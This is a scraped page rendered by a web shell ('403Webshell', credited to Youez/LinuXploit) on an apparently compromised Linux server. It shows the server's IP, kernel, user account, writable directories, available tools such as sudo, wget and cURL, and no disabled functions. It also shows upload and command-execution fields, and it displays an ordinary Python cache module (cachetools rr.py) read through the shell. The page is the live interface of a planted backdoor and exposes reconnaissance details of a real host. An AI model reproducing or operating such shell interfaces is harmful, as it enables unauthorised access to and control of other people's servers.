403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/third_party/cachetools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/third_party/cachetools//rr.py
from __future__ import absolute_import

import random

from .cache import Cache


# random.choice cannot be pickled in Python 2.7
def _choice(seq):
  return random.choice(seq)


class RRCache(Cache):
  """Random Replacement (RR) cache implementation."""

  def __init__(self, maxsize, choice=random.choice, getsizeof=None):
    Cache.__init__(self, maxsize, getsizeof)
    # TODO: use None as default, assing to self.choice directly?
    if choice is random.choice:
      self.__choice = _choice
    else:
      self.__choice = choice

  @property
  def choice(self):
    """The `choice` function used by the cache."""
    return self.__choice

  def popitem(self):
    """Remove and return a random `(key, value)` pair."""
    try:
      key = self.__choice(list(self))
    except IndexError:
      raise KeyError('%s is empty' % self.__class__.__name__)
    else:
      return (key, self.pop(key))

Youez - 2016 - github.com/yon3zu
LinuXploit